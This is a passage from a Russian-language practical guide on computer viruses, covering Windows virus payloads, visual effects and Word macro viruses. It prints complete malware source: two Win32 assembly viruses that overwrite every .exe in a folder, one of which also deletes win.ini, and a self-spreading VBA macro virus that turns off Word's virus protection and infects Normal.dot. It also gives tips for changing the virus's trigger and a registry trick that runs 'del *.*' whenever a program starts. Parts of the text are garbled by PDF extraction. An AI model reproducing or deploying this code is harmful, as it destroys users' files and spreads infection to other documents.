Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdf
Windows вирусы |
331 |
|
|
Ну вот мы и рассмотрели самые распространенные возможности размножения вирусов через Интернет.
Главным способом защиты от интернет-червей является своевременное обновление программного обеспечения и антивирусных баз.
Ï ð è ê ë à ä í û å ô ó í ê ö è è â è ð ó ñ î â
Глава 6 Деструктивные способности вирусов
Деструктивные возможности компьютерных вирусов, ориентированных на операционные системы семейства Windows, довольно сильно отличаются от их собратьев под DOS. Данное отличие заключено в самих различиях операционной системы: у операционных систем семейства Windows гораздо лучше развита политика безопасности. Например, вы никогда не сможете отформатировать тот логический диск, на котором расположена система. Опять же, вы не сможете удалить важные системные файлы (используемые системой). Но открылись и новые возможности вирусов.
Например, можно в ключ реестра «HKEY_CLASSES_ROOT\exefile\shell\ open\command» прописать «del *.*» ,что удалит все файлы в директории запуска любого Windows приложения. Аспекты работы с ключами реестра вообще и с данным конкретно были рассмотрены нами при обсуждении резидентности.
По-прежнему осталась возможность шифрования различных файлов. Главное условие успеха этого действия — чтобы криптуемая нами программа не была запущена, иначе у нас не будет к файлу доступа.
Описанные выше действия довольно просты, но существует также возможность удаления системных файлов, которые на данный момент не используются в системе, но очень ей нужны, например «win.ini».
Все описанные выше деструктивные возможности вирусов довольно просты как для понимания, так и для реализации. Для примера рассмотрим реализацию последнего варианта деструкции.
Перейдем к листингу:
;----------------------------------------------
.386
.model flat
;Далее идут импортируемые функции
extrn |
DeleteFileA:PROC |
extrn |
ExitProcess:PROC |
extrn |
FindFirstFileA:PROC |
extrn |
CopyFileA:PROC |
332 |
|
|
Windows вирусы |
|
|
|
|
extrn |
GetCommandLineA:PROC |
|
|
extrn |
FindNextFileA:Proc |
|
|
extrn |
lstrcpyA:PROC |
|
|
extrn |
lstrcatA:PROC |
|
|
extrn |
FindClose:PROC |
|
|
extrn |
GetWindowsDirectoryA:PROC |
|
|
.data |
|
|
; Область данных |
EXE_file |
DB |
'*.exe',0 |
; Маска поиска файлов |
find_file |
db |
313 dup(?) |
; Переменная типа WIN32_FIND_DATA |
host_name |
db |
100 dup(?) |
; Переменная для имени файла |
Find_data_name |
equ |
2ch |
; Смещение на имя файла в WIN32_FIND_DATA |
Fhandle |
dd |
? |
; Хэндл поиска |
msg1 |
db |
'[ WIN32 OVERWRITER VIRUS -=w32.X060T=- ]' ; Имя вируса |
|
gertva |
db |
'\win.ini',0 |
; Удаляемый файл |
win_dir |
db |
100 dup(?) |
; Место для имени Windows директории |
.code |
|
|
; |
;---------------------------------------------- |
|||
start: |
|
|
; С этого места начинается программа |
;Функция GetCommandLine()
;Возвращает в eax смещение на командную строку
Call |
GetCommandLineA |
; Данной функции параметры не передаются |
push |
eax |
; Положим в стек смещение на командную строку |
push |
offset host_name |
; Копируем ее в переменную host_name |
|
|
; |
call |
lstrcpyA |
; Вызываем функцию копирования строки |
call |
destroy |
; Вызов деструкции |
;---------------------------------------------- |
|
|
;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)
;Возвращает хэндл поиска
push |
OFFSET find_file |
; Положим в стек смещение на find_file |
push |
OFFSET EXE_file |
; Положим в стек смещение на маску поиска |
call |
FindFirstFileA |
; Вызываем функцию FindFirstFileA |
cmp |
EAX, -1 |
; Если нет ни одного нужного нам файла, |
je |
End_it |
; то идем на выход |
|
|
; Иначе |
mov |
[Fhandle],eax |
; в переменной Fhandle сохраняем хэндл поиска |
;---------------------------------------------- |
|
|
infect: |
|
|
|
|
; Функции CopyFileA говорим о том, что будем |
push |
0 |
; При копировании файл перезаписывать |
push |
offset find_file + Find_data_name ; Куда копируем |
|
push |
offset host_name |
; Откуда копируем |
call |
CopyFileA |
; Вызов функции копирования |
Windows вирусы |
|
|
333 |
|
|
|
|
Call |
Fnext |
; Вызываем процедуру |
поиска следующего файла |
cmp |
eax,0 |
; Если eax равен 0, то файлов больше нет |
|
jne |
infect |
; и мы идем на выход |
|
End_it: |
|
|
|
push |
[Fhandle] |
; Положим в стек хэндл поиска |
|
call |
FindClose |
; и вызываем функцию |
закрытия поиска |
push |
0 |
; Положим в стек 0 |
|
call |
ExitProcess |
; и вызываем функцию |
завершения программы |
;---------------------------------------------- |
|
|
|
Fnext: |
|
; Процедура поиска следующего файла |
|
;bool FindNextFileA( handle, pointer find_file)
;Возвращает 0, если файлов больше нет и 1 в обратном случае
push |
offset find_file |
; Положим в стек смещение на find_file |
push |
[Fhandle] |
; Положим в стек хэндл |
call |
FindNextFileA |
; Вызываем функцию поиска следующего файла |
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
|
|
destroy: |
|
|
push |
100 |
; Получение |
push |
offset win_dir |
; имени |
call |
GetWindowsDirectoryA |
; Windows директории |
push |
offset gertva |
; Добавляем к имени |
push |
offset win_dir |
; Windows директории имя |
call |
lstrcatA |
; файла-жертвы |
push |
offset win_dir |
; Удаляем файл- |
call |
DeleteFileA |
; жертву |
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
|
|
end |
start |
|
;---------------------------------------------- |
|
|
Но шедевром деструкции в Windows вирусах стала деструкция в вирусе Win CIH (он же Чернобыль).
В данном вирусе предусмотрена возможность перезаписи мусором Flash Bios'a, после чего для возврата работоспособности материнских плат был необходим специальный программатор. Но данная деструктивная возможность в данном повествовании рассматриваться не будет (кому это необходимо, и сами найдут).
А вообще в Windows вирусах деструктивные проявления встречаются гораздо реже, чем в DOS. Мое мнение по этому поводу: для написания Windows вирусов необходима большая квалификация, чем для написания DOS вирусов, и те, кто их пишут, люди уже несколько более ответственные. Ну и наверное, это опять же эволюция вирусной сцены.
334 |
Windows вирусы |
|
|
Глава 7 Графические и музыкальные эффекты
âвирусах
Âбольшом количестве вирусов мной обнаружена сильная деградация графических эффектов, о музыкальных и говорить не приходится, — они практиче- ски вымерли.
Начнем с графических проявлений. Основным проявлением в 90 % вирусов является MessageBox. Как и в DOS-вирусах, в обращении к пользователям, как обычно, сообщается, что он ламер и что данный вирус написан супертехнокрысой «Василием Ивановым». Также обычно здесь передаются приветы любимым женщинам, кошкам, собакам... Основной целью данного сообщения является высказывание своего уважения гуру кода и своим друзьям.
Нам необходимо ознакомиться с примером вируса с такими сообщениями, так как они наиболее распространенные:
;---------------------------------------------- |
|
|
|
.386 |
|
|
|
.model flat |
|
|
|
;Далее идут импортируемые функции |
|
||
extrn |
DeleteFileA:PROC |
|
|
extrn |
ExitProcess:PROC |
|
|
extrn |
FindFirstFileA:PROC |
|
|
extrn |
CopyFileA:PROC |
|
|
extrn |
GetCommandLineA:PROC |
|
|
extrn |
FindNextFileA:Proc |
|
|
extrn |
lstrcpyA:PROC |
|
|
extrn |
FindClose:PROC |
|
|
extrn |
MessageBoxA:PROC |
|
|
.data |
|
|
; Область данных |
EXE_file |
DB |
'*.exe',0 |
; Маска поиска файлов |
find_file |
db |
313 dup(?) |
; Переменная типа WIN32_FIND_DATA |
host_name |
db |
100 dup(?) |
; Переменная для имени файла |
Find_data_name |
equ |
2ch |
; Смещение на имя файла в WIN32_FIND_DATA |
Fhandle |
dd |
? |
; Хэндл поиска |
msg1 |
db |
'[ WIN32 OVERWRITER VIRUS -=w32.X060T=- ]' ; Имя вируса |
|
zagolovok |
db |
'Message t0 User',0 |
|
msg |
db |
'Gr33tZ to all my friendZ',0ah,0dh |
|
|
db |
'this virus -=w32.X060T=-',0 |
|
.code |
|
|
; |
;---------------------------------------------- |
|
|
|
start: |
|
|
; С этого места начинается программа |
;Функция GetCommandLine()
;Возвращает в eax смещение на командную строку
Call |
GetCommandLineA |
; Данной функции параметры не передаются |
Windows вирусы |
335 |
|
|
|
|
push |
eax |
; Кладем в стек смещение на командную строку |
push |
offset host_name |
; Копируем ее в переменную host_name |
|
|
; |
call |
lstrcpyA |
; Вызываем функцию копирования строки |
call |
graph |
|
;---------------------------------------------- |
|
|
;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)
;Возвращает хэндл поиска
push |
OFFSET find_file |
; Кладем в стек смещение на find_file |
push |
OFFSET EXE_file |
; Кладем в стек смещение на маску поиска |
call |
FindFirstFileA |
; Вызываем функцию FindFirstFileA |
cmp |
EAX, -1 |
; Если нет ни одного нужного нам файла, |
je |
End_it |
; то идем на выход |
|
|
; Иначе |
mov |
[Fhandle],eax |
; в переменной Fhandle сохраняем хэндл поиска |
;---------------------------------------------- |
|
|
infect: |
|
|
|
|
; Функции CopyFileA говорим о том, что будем |
push |
0 |
; при копировании файл перезаписывать |
push |
offset find_file + Find_data_name ; Куда копируем |
|
push |
offset host_name |
; Откуда копируем |
call |
CopyFileA |
; Вызов функции копирования |
Call |
Fnext |
; Вызываем процедуру поиска следующего файла |
cmp |
eax,0 |
; Если eax равен 0, то файлов больше нет |
jne |
infect |
; и мы идем на выход |
End_it: |
|
|
push |
[Fhandle] |
; Кладем в стек хэндл поиска |
call |
FindClose |
; и вызываем функцию закрытия поиска |
push |
0 |
; Кладем в стек 0 |
call |
ExitProcess |
; и вызываем функцию завершения программы |
;---------------------------------------------- |
|
|
Fnext: |
|
; Процедура поиска следующего файла |
;bool FindNextFileA( handle, pointer find_file)
;Возвращает 0, если файлов больше нет, и 1 в обратном случае
push |
offset find_file |
; Кладем в стек смещение на find_file |
push |
[Fhandle] |
; Кладем в стек хэндл |
call |
FindNextFileA |
; Вызываем функцию поиска следующего файла |
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
|
|
graph: |
|
|
push |
1000h |
; Сообщение для пользователя |
push |
offset zagolovok |
; о том, что это за вирус |
push |
offset msg |
; и еще о том, что он почитает своих |
push |
0 |
; друзей |
336 |
|
Windows вирусы |
|
|
|
call |
MessageBoxA |
; |
ret |
|
|
;---------------------------------------------- |
|
|
end |
start |
|
;---------------------------------------------- |
|
|
Псевдографическими можно также считать эффекты, когда меняется имя компьютера и диска. Псевдо потому, что это не явное проявление, но все-таки оно очень даже заметно. Рассмотрим кусочек кода, реализующий эти вещи.
Переходим к листингу:
;---------------------------------------------- |
|
|
push |
offset name1 |
; Устанавливаем имя компьютера в соответсвии с |
call |
SetComputerNameA |
; переменной name1 |
push |
offset name1 |
; Устанавливаем имя логического диска |
call |
SetVolumeLabelA |
; аналогичным образом |
;---------------------------------------------- |
|
|
Также в редких случаях реализуют по-настоящему красивые эффекты в вирусах, но это очень сильно увеличивает размер вируса, поэтому это редкость.
Стоит отметить, что в некоторых вирусах мною встречалось музыкальное проявление, когда вирус проигрывал системные midi файлы.
Очень распространенным графическим проявлением, о котором нельзя не упомянуть, является смена стартовой картинки при загрузке Windows, а также смена фона рабочего стола в системе. Стоит сказать, что перенос вместе с телом вируса картинки довольно сильно бьет по размеру.
Ну вот, в принципе и все, что я хотел сказать о недеструктивных проявлениях компьютерных вирусов.
МАКРО вирусы
Ì å ò î ä û ð à ç ì í î æ å í è ÿ â è ð ó ñ î â
Глава 1
Простейшие *.DOC вирусы (trivial Macro)
В последнее время компьютерный мир захлестнула волна макровирусов. Макровирус — это программа, написанная на языке VBA (Visual Basic for Application). Эта программа распространяется вместе с документом Microsoft Word (в последнее время также распространились MS Excel и MS Access вирусы). Почему же данные вирусы получили такое распространение? Все довольно просто. Для создания макровируса не нужно каких-либо глубоких познаний в программировании, не нужно знания Ассемблера. Это позволило множеству неопытных программистов попробовать свои силы в разработке макровирусов. Что же необходимо для разработки макровируса? Во-первых, это минимальное знание языка VB и желательно VBA. Для разработки полностью готового к распространению макровируса вам понадобится Microsoft Word 97/2000 и желательно какой-нибудь антивирус с обновленными базами. Итак, теория. Практически все макровирусы заражают файл Normal.dot — это базовый шаблон, который загружается при открытии документа, при создании нового документа... Что же нам дает заражение Normal.dot? При зараженном Normal.dot, когда создается новый файл, сначала отрабатывает макрос, загруженный в Normal.dot, и это дает возможность заражать все открытые или новые документы (при зараженном Normal.dot).
Теперь разберем алгоритм простейшего макровируса:
1)если Normal.dot не заражен, то сохраняем текст макроса в каком-нибудь внешнем скрытом файле;
2)проверим — если текущий документ не заражен, то заразим его;
3)если Normal.dot не заражен, то инфицируем его.
Алгоритм довольно прост, не правда ли? Давайте теперь его реализуем. Вот листинг:
'---------------------------------------------- |
|
Sub Document_Close() |
|
' h0b0t Word 97/2000 macr0 virus |
|
Application.DisplayAlerts = 0 'Отключить |
тревогу |
Options.VirusProtection = False 'Отключить |
сообщения о вирусах |
338 МАКРО вирусы
If Application.UserName <> "[h0b0t]" Then ActiveDocument.VBProject.VBComponents("ThisDocument").Export "c:\Windows\sl0n.vxd" End If
'Экспортирование файла с макросами
Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
If AD.lines(1, 1) = "" Then 'Если документ не заражен, то заразим Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Open "c:\Windows\sl0n.vxd" For Input As #1 If LOF(1) = 0 Then GoTo quit1
i = 1
Do While Not EOF(1) Line Input #1, a If i > 8 Then
If i = 10 Then
t.CodeModule.InsertLines i, "sub Document_Close()" Else: t.CodeModule.InsertLines i, a
End If End If
i = i + 1 Loop
quit1:
Close #1
End If
If Application.UserName <> "[h0b0t]" Then 'Если документ не заражен, то заразим Set t = NormalTemplate.VBProject.VBComponents.Item(1)
Open "c:\Windows\sl0n.vxd" For Input As #1 If LOF(1) = 0 Then GoTo quit
i = 1
Do While Not EOF(1)
Line Input #1, a
If i > 8 Then
If i = 10 Then
|
t.CodeModule.InsertLines i, "sub AutoClose()" |
Else: |
t.CodeModule.InsertLines i, a |
End If |
|
End If |
|
i = i + 1 |
|
Loop |
|
quit: |
|
Close #1 Application.UserName = "[h0b0t]" End If
End Sub '----------------------------------------------
Рассмотрим данный вирус подробнее. Для того чтобы разобраться с логикой его работы.
Начнем с первого блока:
'----------------------------------------------
' h0b0t Word 97/2000 macr0 virus Application.DisplayAlerts = 0 'Отключить тревогу
МАКРО вирусы |
339 |
|
|
Options.VirusProtection = False 'Отключить сообщения о вирусах
If Application.UserName <> "[h0b0t]" Then ActiveDocument.VBProject.VBComponents("ThisDocument").Export "c:\Windows\sl0n.vxd" End If
'Экспортирование файла с макросами
Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule '----------------------------------------------
Первая строчка в этом блоке — это комментарий, в котором находится название вируса. Далее идут инструкции по отключению предупреждений и защите от вирусов. Если имя автора в документе не [h0b0t], тогда макрос из этого документа (вирусный макрос) сохраняется в файле «c:\Windows\sl0n.vxd». Далее переменной AD присваивается макрос активного документа.
Перейдем ко второму блоку:
'----------------------------------------------
If AD.lines(1, 1) = "" Then 'Если документ не заражен, то заразим Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Open "c:\Windows\sl0n.vxd" For Input As #1 If LOF(1) = 0 Then GoTo quit1
i = 1
Do While Not EOF(1) Line Input #1, a If i > 8 Then
If i = 10 Then
t.CodeModule.InsertLines i, "sub Document_Close()" Else: t.CodeModule.InsertLines i, a
End If End If
i = i + 1 Loop
quit1:
Close #1
End If '----------------------------------------------
В начале стоит проверка на зараженность активного документа. Если первая строчка пуста, значит он не заражен, и мы будем его заражать. Переменной t мы присваиваем макрос активного документа, открываем файл, в котором мы сохранили наш вирусный макрос (файл открываем для чтения), проверяем — если он пустой, то идем на метку quit1. Если файл не пустой, то мы читаем из него по строчке. Первые 8 пропускаем, так как там хранится не нужная нам информация. Потом мы эти строки переписываем в макрос активного документа, но на место 10 строки мы записываем «sub Document_Close()» для того чтобы вирус не утратил функциональности. После того как вирус переписан, закрываем файл.
Перейдем к последнему, третьему блоку:
'----------------------------------------------
If Application.UserName <> "[h0b0t]" Then 'Если документ не заражен, то заразим Set t = NormalTemplate.VBProject.VBComponents.Item(1)
340 МАКРО вирусы
Open "c:\Windows\sl0n.vxd" For Input As #1 If LOF(1) = 0 Then GoTo quit
i = 1
Do While Not EOF(1)
Line Input #1, a
If i > 8 Then
If i = 10 Then
|
t.CodeModule.InsertLines |
i, "sub AutoClose()" |
Else: |
t.CodeModule.InsertLines |
i, a |
End If |
|
|
End If |
|
|
i = i + 1 |
|
|
Loop
quit:
Close #1 Application.UserName = "[h0b0t]"
'----------------------------------------------
В данном блоке производятся те же операции, что и в предыдущем, но только с одним лишь отличием — инфицируется шаблон Word и выставляется метка инфицированности данного Word'a установкой имени автора в [h0b0t].
Данный вирус заражает документы при их закрытии, но его легко можно модифицировать для заражения при создании нового документа. Для этого необходимо всего лишь заменить AutoClose() на AutoNew(). Аналогичным образом можно сделать при открытии документа или при его сохранении (AutoOpen, AutoSave).
Вообще, существует множество способов инфицирования документов Word. Мы использовали непосредственную работу с файлами и метод Export для создания файла на диске с текстом макроса и копированием его в инфицируемые документы.
Для лечения этого макровируса необходимо всего лишь удалить все макросы в документах, в том числе и в Normal.dot.
Ôó í ê ö è è ì à ñ ê è ð î â ê è è ó ñ ê î ð å í è ÿ
ýï è ä å ì è è
Глава 2 Вирусные технологии
В макровирусах применяются все те же вирусные технологии, как и в обыч- ных вирусах, т. е. стелс-технология, антиэвристика, полиморфизм.
Начнем рассмотрение со стелс-технологий. В чем же заключаются стелс-технологии применительно к макровирусам? В большинстве своем — это сокрытие собственного кода от глаз пользователей. Реально на практике это выглядит следующим образом. Отключаются в меню Word опции «Редактор VB» и
